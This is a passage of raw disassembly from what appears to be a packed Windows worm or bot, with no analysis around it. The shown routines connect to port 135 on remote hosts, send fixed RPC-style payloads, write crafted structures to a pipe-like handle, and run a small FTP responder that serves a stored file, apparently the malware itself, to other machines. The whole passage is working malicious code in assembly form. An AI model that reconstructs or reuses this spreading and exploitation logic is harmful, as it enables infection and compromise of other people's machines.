		lea	eax, [ebp+var_8C]
		push	eax
		call	dword_41920C

loc_40D0D8:				; CODE XREF: sub_40CEBE+1C1j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5364]
		push	offset dword_416B74
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		push	esi
		lea	eax, [ebp+var_5364]
		push	offset dword_416B60
		push	eax
		call	sub_4117B4	; strncat
		add	esp, 1Ch
		lea	eax, [ebp+var_5364]
		push	edi
		push	edi
		push	3
		push	edi
		push	3
		push	40000000h
		push	eax
		call	dword_412048	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40D12A

loc_40D123:				; CODE XREF: sub_40CEBE+370j
		xor	esi, esi
		jmp	loc_40D3BF
; ---------------------------------------------------------------------------

loc_40D12A:				; CODE XREF: sub_40CEBE+263j
		push	48h
		lea	eax, [ebp+var_68]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		push	10h
		and	[ebp+var_67], 0
		pop	esi
		mov	[ebp+var_68], 5
		push	1
		mov	[ebp+var_66], 0Bh
		pop	eax
		mov	[ebp+var_65], 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_4A], al
		mov	[ebp+var_38], eax
		push	esi
		lea	eax, [ebp+var_48]
		push	offset dword_416B4C
		push	eax
		mov	[ebp+var_64], esi
		mov	[ebp+var_60], 48h
		mov	[ebp+var_5E], di
		mov	[ebp+var_58], 10B8h
		mov	[ebp+var_56], 10B8h
		mov	[ebp+var_54], edi
		mov	[ebp+var_4C], di
		call	sub_4114D0	; memcpy
		push	esi
		lea	eax, [ebp+var_34]
		push	offset dword_416B38
		push	eax
		mov	[ebp+var_24], 2
		call	sub_4114D0	; memcpy
		add	esp, 24h
		lea	eax, [ebp+var_6C]
		push	edi
		push	eax
		lea	eax, [ebp+var_68]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_412070	; WriteFile
		test	eax, eax
		jz	short loc_40D225
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117A8	; wcslen
		lea	eax, [eax+eax+12h]
		pop	ecx
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40D1D9

loc_40D1D0:				; CODE XREF: sub_40CEBE+319j
		inc	[ebp+arg_4]
		test	byte ptr [ebp+arg_4], 3
		jnz	short loc_40D1D0

loc_40D1D9:				; CODE XREF: sub_40CEBE+310j
		cmp	byte ptr (loc_416B1F+1)[ebx], 0
		push	4
		pop	esi
		jz	short loc_40D1E8
		add	[ebp+arg_4], esi

loc_40D1E8:				; CODE XREF: sub_40CEBE+325j
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_4117A8	; wcslen
		pop	ecx
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*2+0Eh]

loc_40D1FC:				; CODE XREF: sub_40CEBE+343j
		test	al, 3
		jz	short loc_40D203
		inc	eax
		jmp	short loc_40D1FC
; ---------------------------------------------------------------------------

loc_40D203:				; CODE XREF: sub_40CEBE+340j
		add	eax, 8
		cmp	byte ptr (loc_416B1F+1)[ebx], 0
		jz	short loc_40D213
		add	eax, esi
		jmp	short loc_40D215
; ---------------------------------------------------------------------------

loc_40D213:				; CODE XREF: sub_40CEBE+34Fj
		inc	eax
		inc	eax

loc_40D215:				; CODE XREF: sub_40CEBE+353j
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_4114C4	; malloc
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		jnz	short loc_40D233

loc_40D225:				; CODE XREF: sub_40CEBE+2F8j
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle
		jmp	loc_40D123
; ---------------------------------------------------------------------------

loc_40D233:				; CODE XREF: sub_40CEBE+365j
		push	[ebp+arg_4]
		push	edi
		push	ebx
		call	sub_4114E8	; memset
		push	esi
		push	offset dword_416AC8
		push	ebx
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117A8	; wcslen
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edi
		mov	eax, [ebx+0Ch]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_CEBC]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		call	sub_4117AE	; wcscpy
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_4117A8	; wcslen
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40D294

loc_40D28C:				; CODE XREF: sub_40CEBE+3D1j
		inc	eax
		test	al, 3
		jnz	short loc_40D28C
		mov	[ebp+arg_0], eax

loc_40D294:				; CODE XREF: sub_40CEBE+3CCj
		mov	ecx, [ebp+var_8]
		cmp	byte ptr (loc_416B1F+1)[ecx], 0
		jz	short loc_40D2B7
		push	esi
		add	eax, ebx
		push	offset dword_416AD0
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		add	[ebp+arg_0], esi
		mov	eax, [ebp+arg_0]

loc_40D2B7:				; CODE XREF: sub_40CEBE+3E0j
		lea	esi, [eax+ebx]
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_4117A8	; wcslen
		inc	eax
		add	[ebp+arg_0], 0Ch
		mov	[esi+8], eax
		mov	[esi+4], edi
		mov	eax, [esi+8]
		mov	[esi], eax
		lea	eax, [ebp+var_8EBC]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		call	sub_4117AE	; wcscpy
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_4117A8	; wcslen
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40D30D

loc_40D305:				; CODE XREF: sub_40CEBE+44Aj
		inc	eax
		test	al, 3
		jnz	short loc_40D305
		mov	[ebp+arg_0], eax

loc_40D30D:				; CODE XREF: sub_40CEBE+445j
		push	8
		add	eax, ebx
		push	edi
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+var_8]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte ptr (loc_416B1F+1)[esi], 0
		jz	short loc_40D332
		mov	[eax+ebx], edi
		jmp	short loc_40D338
; ---------------------------------------------------------------------------

loc_40D332:				; CODE XREF: sub_40CEBE+46Dj
		mov	word ptr [eax+ebx], 1

loc_40D338:				; CODE XREF: sub_40CEBE+472j
		push	18h
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	cl, byte ptr (loc_416B1F+1)[esi]
		and	[ebp+var_1F], 0
		and	[ebp+var_1E], 0
		push	1
		mov	[ebp+var_16], di
		pop	eax
		mov	[ebp+var_C], di
		push	eax
		push	10B8h
		push	[ebp+arg_4]
		lea	esi, [ebp+var_20]
		neg	cl
		sbb	ecx, ecx
		push	ebx
		and	ecx, 2
		sub	esp, 18h
		add	ecx, 19h
		mov	[ebp+var_20], 5
		push	6
		mov	[ebp+var_A], cx
		pop	ecx
		mov	[ebp+var_1D], 3
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_14], eax
		rep movsd
		call	sub_40CDDF
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_40D3AA
		xor	esi, esi
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------

loc_40D3AA:				; CODE XREF: sub_40CEBE+4E6j
		push	1
		pop	esi

loc_40D3AD:				; CODE XREF: sub_40CEBE+4EAj
		push	[ebp+var_4]
		call	dword_4120AC	; CloseHandle
		push	ebx
		call	sub_4114CA	; free
		pop	ecx
		xor	edi, edi

loc_40D3BF:				; CODE XREF: sub_40CEBE+267j
		push	edi
		push	edi
		push	[ebp+var_78]
		call	dword_419214
		mov	eax, esi
		jmp	short loc_40D3D1
; ---------------------------------------------------------------------------

loc_40D3CE:				; CODE XREF: sub_40CEBE+18j
					; sub_40CEBE+24j
		push	1
		pop	eax

loc_40D3D1:				; CODE XREF: sub_40CEBE+85j
					; sub_40CEBE+50Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CEBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3D6	proc near		; DATA XREF: .packed:00417F5Co
					; .packed:00417FD0o

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40CEBE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short locret_40D3F3
		push	eax
		push	[esp+4+arg_0]
		call	sub_40CEBE
		pop	ecx
		pop	ecx

locret_40D3F3:				; CODE XREF: sub_40D3D6+Fj
		retn
sub_40D3D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3F4	proc near		; CODE XREF: sub_40D42D+131p
					; sub_40D42D+15Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D422

loc_40D405:				; CODE XREF: sub_40D3F4+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41178A	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D428
		inc	esi
		cmp	esi, edi
		jl	short loc_40D405

loc_40D422:				; CODE XREF: sub_40D3F4+Fj
		xor	eax, eax

loc_40D424:				; CODE XREF: sub_40D3F4+37j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40D428:				; CODE XREF: sub_40D3F4+27j
		push	1
		pop	eax
		jmp	short loc_40D424
sub_40D3F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D42D	proc near		; CODE XREF: sub_40BC10+19p
					; sub_40CEBE+68p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_411540
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D478
		dec	eax
		jz	short loc_40D44E
		dec	eax

loc_40D447:				; CODE XREF: sub_40D42D+61j
		xor	eax, eax

loc_40D449:				; CODE XREF: sub_40D42D+49j
					; sub_40D42D+176j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D44E:				; CODE XREF: sub_40D42D+17j
		push	2710h
		push	0
		push	offset a5000	; "5000"
		push	[ebp+arg_0]
		call	sub_403C04
		mov	esi, eax
		push	esi
		call	sub_403D70
		mov	eax, esi
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D449
; ---------------------------------------------------------------------------

loc_40D478:				; CODE XREF: sub_40D42D+14j
		push	6
		push	1
		push	2
		call	dword_41222C	; socket
		mov	edi, eax
		or	ebx, 0FFFFFFFFh
		cmp	edi, ebx
		mov	[ebp+arg_4], edi
		jz	short loc_40D447
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_412248	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_412254	; inet_addr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_412208	; connect
		cmp	eax, ebx
		jz	loc_40D598
		push	esi
		push	48h
		push	offset dword_416B88
		push	edi
		call	dword_412220	; send
		cmp	eax, ebx
		jz	loc_40D598
		mov	edi, 2000h
		push	esi
		mov	esi, dword_412258
		lea	eax, [ebp+var_2010]
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	esi	; recv
		cmp	eax, ebx
		jnz	short loc_40D512

loc_40D50B:				; CODE XREF: sub_40D42D+ECj
					; sub_40D42D+102j ...
		xor	esi, esi
		jmp	loc_40D598
; ---------------------------------------------------------------------------

loc_40D512:				; CODE XREF: sub_40D42D+DCj
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D50B
		push	0
		push	18h
		push	offset dword_416BD4
		push	[ebp+arg_4]
		call	dword_412220	; send
		cmp	eax, ebx
		jz	short loc_40D50B
		push	0
		lea	eax, [ebp+var_2010]
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	esi	; recv
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40D50B
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D50B
		push	10h
		push	offset loc_416BF0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D3F4
		add	esp, 10h
		test	eax, eax
		jz	short loc_40D578
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_40D596
; ---------------------------------------------------------------------------

loc_40D578:				; CODE XREF: sub_40D42D+13Bj
		push	10h
		push	offset dword_416C04
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D3F4
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		and	eax, 3

loc_40D596:				; CODE XREF: sub_40D42D+149j
		mov	esi, eax

loc_40D598:				; CODE XREF: sub_40D42D+A4j
					; sub_40D42D+BBj ...
		push	[ebp+arg_4]
		call	dword_412240	; closesocket
		mov	eax, esi
		jmp	loc_40D449
sub_40D42D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5A8	proc near		; CODE XREF: sub_40BCBD+A9p
					; sub_40C135+325p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_40D5DD
		xor	esi, esi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40D639

loc_40D5BE:				; CODE XREF: sub_40D5A8+31j
		push	20h
		push	ebx
		call	sub_40B459
		mov	al, byte_416C20[eax+eax*4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[esi+ecx], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		jb	short loc_40D5BE
		jmp	short loc_40D639
; ---------------------------------------------------------------------------

loc_40D5DD:				; CODE XREF: sub_40D5A8+Dj
		cmp	esi, 7Fh
		jnz	short loc_40D608
		xor	esi, esi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40D639

loc_40D5E9:				; CODE XREF: sub_40D5A8+5Cj
		push	5
		push	ebx
		call	sub_40B459
		mov	al, byte_416C20[eax+eax*4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[esi+ecx], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		jb	short loc_40D5E9
		jmp	short loc_40D639
; ---------------------------------------------------------------------------

loc_40D608:				; CODE XREF: sub_40D5A8+38j
		xor	edi, edi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40D639

loc_40D60F:				; CODE XREF: sub_40D5A8+8Fj
		push	20h
		push	ebx
		call	sub_40B459
		movsx	eax, al
		pop	ecx
		lea	eax, [eax+eax*4]
		pop	ecx
		test	dword_416C21[eax], esi
		jnz	short loc_40D634
		mov	ecx, [ebp+arg_0]
		mov	al, byte_416C20[eax]
		mov	[edi+ecx], al
		inc	edi

loc_40D634:				; CODE XREF: sub_40D5A8+7Dj
		cmp	edi, [ebp+arg_4]
		jb	short loc_40D60F

loc_40D639:				; CODE XREF: sub_40D5A8+14j
					; sub_40D5A8+33j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D63E	proc near		; CODE XREF: sub_40D6E0+40Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403C04
		mov	ebx, eax
		add	esp, 10h
		test	ebx, ebx
		jz	short loc_40D687
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D687
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jnz	short loc_40D68D
		push	ebx
		call	sub_403D92
		pop	ecx

loc_40D687:				; CODE XREF: sub_40D63E+24j
					; sub_40D63E+29j
		xor	eax, eax

loc_40D689:				; CODE XREF: sub_40D63E+A0j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D68D:				; CODE XREF: sub_40D63E+40j
		push	edi

loc_40D68E:				; CODE XREF: sub_40D63E+7Fj
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40D6CA
		push	esi
		push	200h
		lea	eax, [ebp+var_200]
		push	1
		push	eax
		call	sub_411510	; fread
		mov	edi, eax
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 1Ch
		cmp	edi, eax
		jz	short loc_40D68E
		push	ebx
		call	sub_403D92
		pop	ecx
		xor	edi, edi
		jmp	short loc_40D6D4
; ---------------------------------------------------------------------------

loc_40D6CA:				; CODE XREF: sub_40D63E+54j
		push	ebx
		call	sub_403D70
		pop	ecx
		push	1
		pop	edi

loc_40D6D4:				; CODE XREF: sub_40D63E+8Aj
		push	esi
		call	sub_411500	; fclose
		pop	ecx
		mov	eax, edi
		pop	edi
		jmp	short loc_40D689
sub_40D63E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6E0	proc near		; DATA XREF: sub_40DD36+CBo

var_530		= byte ptr -530h
var_330		= byte ptr -330h
var_32F		= byte ptr -32Fh
var_230		= byte ptr -230h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 530h
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		push	offset dword_4177D0
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		mov	ebx, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		mov	dl, byte_4191D0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_32F]
		mov	[ebp+var_330], dl
		rep stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_13]
		mov	[ebp+var_14], dl
		push	0EA60h
		stosd
		stosb
		xor	eax, eax
		push	ebx
		mov	[ebp+arg_0], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], eax
		call	sub_403E1F
		add	esp, 24h

loc_40D75F:				; CODE XREF: sub_40D6E0+3C2j
		test	eax, eax
		jz	loc_40DB99
		lea	eax, [ebp+var_530]
		push	esi
		push	eax
		push	ebx
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DB99
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DB99
		lea	eax, [ebp+var_C]
		mov	edi, offset dword_4177CC
		push	eax
		lea	eax, [ebp+var_530]
		push	edi
		push	eax
		call	sub_405E4F
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_40DA95
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		push	0
		call	sub_405E4F
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_40D7CA
		mov	[ebp+var_4], offset byte_4191D0

loc_40D7CA:				; CODE XREF: sub_40D6E0+E1j
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		push	0
		call	sub_405E4F
		push	[ebp+var_8]
		call	sub_40A64A
		add	esp, 10h
		cmp	eax, dword_4177C0
		jnz	short loc_40D7FA
		mov	[ebp+arg_0], 1
		push	offset dword_4177B8
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------

loc_40D7FA:				; CODE XREF: sub_40D6E0+107j
		cmp	eax, dword_4177AC
		jnz	short loc_40D813
		mov	[ebp+var_18], 1
		push	offset dword_4177A4
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------

loc_40D813:				; CODE XREF: sub_40D6E0+120j
		cmp	[ebp+arg_0], 0
		jz	loc_40DA95
		cmp	[ebp+var_18], 0
		jz	loc_40DA95
		cmp	eax, dword_417798
		jnz	short loc_40D839
		push	offset dword_417790
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------

loc_40D839:				; CODE XREF: sub_40D6E0+14Dj
		cmp	eax, dword_417784
		jnz	short loc_40D84B
		push	offset dword_41777C
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------

loc_40D84B:				; CODE XREF: sub_40D6E0+15Fj
		cmp	eax, dword_417774
		jnz	short loc_40D85D
		push	offset dword_417768
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------

loc_40D85D:				; CODE XREF: sub_40D6E0+171j
		cmp	eax, dword_41775C
		jz	loc_40D8F4
		cmp	eax, dword_417750
		jnz	short loc_40D87B
		push	offset dword_417748
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------

loc_40D87B:				; CODE XREF: sub_40D6E0+18Fj
		cmp	eax, dword_41773C
		jnz	short loc_40D8FE
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_4]
		call	sub_411522	; sscanf
		movzx	eax, [ebp+var_30]
		add	esp, 20h
		push	eax
		movzx	eax, [ebp+var_24]
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_28]
		push	eax
		push	offset dword_413A58
		lea	eax, [ebp+var_330]
		push	100h
		push	eax
		call	sub_41152E	; _snprintf
		xor	eax, eax
		add	esp, 1Ch
		mov	ah, [ebp+var_2C]
		mov	al, [ebp+var_20]
		push	eax
		push	offset aU_0	; "%u"
		lea	eax, [ebp+var_14]
		push	6
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 10h

loc_40D8F4:				; CODE XREF: sub_40D6E0+183j
		push	offset dword_417720
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------

loc_40D8FE:				; CODE XREF: sub_40D6E0+1A1j
		cmp	eax, dword_417714
		jnz	short loc_40D97E
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	loc_40DB99
		push	2
		push	0
		push	edi
		call	sub_411516	; fseek
		push	edi
		call	sub_4114F4	; ftell
		push	0
		push	0
		push	edi
		mov	[ebp+var_8], eax
		call	sub_411516	; fseek
		push	edi
		call	sub_411500	; fclose
		add	esp, 20h
		lea	eax, [ebp+var_230]
		push	[ebp+var_8]
		push	offset dword_417708
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 20h
		jmp	loc_40DA95
; ---------------------------------------------------------------------------

loc_40D97E:				; CODE XREF: sub_40D6E0+224j
		cmp	eax, dword_4176FC
		jnz	loc_40DAA7
		push	offset a150	; "150 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		push	2710h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_403C04
		add	esp, 2Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_40DB99
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DB99
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	loc_40DB99
		push	2
		push	0
		push	edi
		call	sub_411516	; fseek
		push	edi
		call	sub_4114F4	; ftell
		push	0
		push	0
		push	edi
		mov	[ebp+var_8], eax
		call	sub_411516	; fseek
		push	edi
		call	sub_411500	; fclose
		add	esp, 20h
		lea	eax, [ebp+var_230]
		push	offset dword_419ECC
		push	[ebp+var_8]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	[ebp+var_4]
		call	sub_403D9D
		push	[ebp+var_4]
		call	sub_403D70
		add	esp, 28h
		push	offset dword_417678

loc_40DA6B:				; CODE XREF: sub_40D6E0+115j
					; sub_40D6E0+12Ej ...
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 1Ch

loc_40DA95:				; CODE XREF: sub_40D6E0+C7j
					; sub_40D6E0+137j ...
		push	0EA60h
		push	ebx
		call	sub_403E1F
		pop	ecx
		pop	ecx
		jmp	loc_40D75F
; ---------------------------------------------------------------------------

loc_40DAA7:				; CODE XREF: sub_40D6E0+2A4j
		cmp	eax, dword_41766C
		jnz	loc_40DB62
		push	offset a150	; "150 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_40D63E
		add	esp, 24h
		test	eax, eax
		jz	loc_40DB99
		push	offset dword_417678
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		push	1
		push	offset dword_419EA8
		call	sub_407216
		add	esp, 24h
		lea	ecx, [ebp+var_330]
		inc	eax
		push	ecx
		push	eax
		push	offset aFtp_0	; "ftp"
		push	offset unk_417640
		push	offset dword_418E50
		call	sub_409659
		add	esp, 14h
		push	3E8h
		call	dword_4120A4	; Sleep
		jmp	short loc_40DB99
; ---------------------------------------------------------------------------

loc_40DB62:				; CODE XREF: sub_40D6E0+3CDj
		cmp	eax, dword_417634
		jnz	short loc_40DB99
		push	offset a221	; "221 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 1Ch

loc_40DB99:				; CODE XREF: sub_40D6E0+81j
					; sub_40D6E0+9Aj ...
		push	offset a231	; "231 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		push	ebx
		call	sub_403D70
		add	esp, 20h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40D6E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBD7	proc near		; CODE XREF: sub_40DD36+58p

var_20C		= dword	ptr -20Ch
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	32h
		push	edi
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD30
		mov	esi, 200h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DD30
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DD30
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_405AB9
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4177F8
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DD30
		lea	eax, [ebp+var_200]
		push	offset dword_4177EC
		push	eax
